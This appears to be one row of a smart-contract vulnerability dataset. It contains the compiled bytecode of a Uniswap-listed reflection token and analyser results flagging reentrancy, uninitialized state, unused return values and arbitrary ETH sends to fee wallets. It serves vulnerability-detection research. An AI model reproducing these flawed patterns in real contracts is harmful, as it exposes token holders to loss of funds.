20697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea0000061283190919063ffffffff16565b6128b790919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e0c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d536022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613de76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d066023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613dbe6029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224557601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b1561224357601360179054906101000a900460ff1615612220576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221f57600080fd5b5b61222981612547565b6000479050600081111561224157612240476123c8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122ec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f657600090505b61230284848484612901565b50505050565b60008383111582906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237a57808201518184015260208101905061235f565b50505050905090810190601f1680156123a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124186002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124946002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124bf573d6000803e3d6000fd5b5050565b6000600a54821115612520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d29602a913960400191505060405180910390fd5b600061252a612b58565b905061253f81846128b790919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561257c57600080fd5b506040519080825280602002602001820160405280156125ab5781602001602082028036833780820191505090505b50905030816000815181106125bc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561265e57600080fd5b505afa158015612672573d6000803e3d6000fd5b505050506040513d602081101561268857600080fd5b8101908080519060200190929190505050816001815181106126a657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061270d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127d15780820151818401526020810190506127b6565b505050509050019650505050505050600060405180830381600087803b1580156127fa57600080fd5b505af115801561280e573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561284457600090506128b1565b600082840290508284828161285557fe5b04146128ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d756021913960400191505060405180910390fd5b809150505b92915050565b60006128f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b83565b905092915050565b8061290f5761290e612c49565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129b25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c7576129c2848484612c8c565b612b44565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a6a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a7f57612a7a848484612eec565b612b43565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b215750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b3657612b3184848461314c565b612b42565b612b41848484613441565b5b5b5b80612b5257612b5161360c565b5b50505050565b6000806000612b65613620565b91509150612b7c81836128b790919063ffffffff16565b9250505090565b60008083118290612c2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bf4578082015181840152602081019050612bd9565b50505050905090810190601f168015612c215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3b57fe5b049050809150509392505050565b6000600c54148015612c5d57506000600d54145b15612c6757612c8a565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c9e876138cd565b955095509550955095509550612cfc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7281613a07565b612e7c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612efe876138cd565b955095509550955095509550612f5c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130d281613a07565b6130dc8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061315e876138cd565b9550955095509550955095506131bc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e683600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061337b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133c781613a07565b6133d18483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613453876138cd565b9550955095509550955095506134b186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061359281613a07565b61359c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156138825782600260006009848154811061365a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061374157508160036000600984815481106136d957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561375f57600a54683635c9adc5dea00000945094505050506138c9565b6137e8600260006009848154811061377357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461393590919063ffffffff16565b925061387360036000600984815481106137fe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361393590919063ffffffff16565b9150808060010191505061363b565b506138a1683635c9adc5dea00000600a546128b790919063ffffffff16565b8210156138c057600a54683635c9adc5dea000009350935050506138c9565b81819350935050505b9091565b60008060008060008060008060006138ea8a600c54600d54613be6565b92509250925060006138fa612b58565b9050600080600061390d8e878787613c7c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061397783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612308565b905092915050565b6000808284019050838110156139fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a11612b58565b90506000613a28828461283190919063ffffffff16565b9050613a7c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ba757613b6383600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613bc182600a5461393590919063ffffffff16565b600a81905550613bdc81600b5461397f90919063ffffffff16565b600b819055505050565b600080600080613c126064613c04888a61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c3c6064613c2e888b61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c6582613c57858c61393590919063ffffffff16565b61393590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c95858961283190919063ffffffff16565b90506000613cac868961283190919063ffffffff16565b90506000613cc3878961283190919063ffffffff16565b90506000613cec82613cde858761393590919063ffffffff16565b61393590919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207441d8208858cdd9d6b83433941d6c780d7b7859a5dd850c64cc76cb4dd5d29564736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,199 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.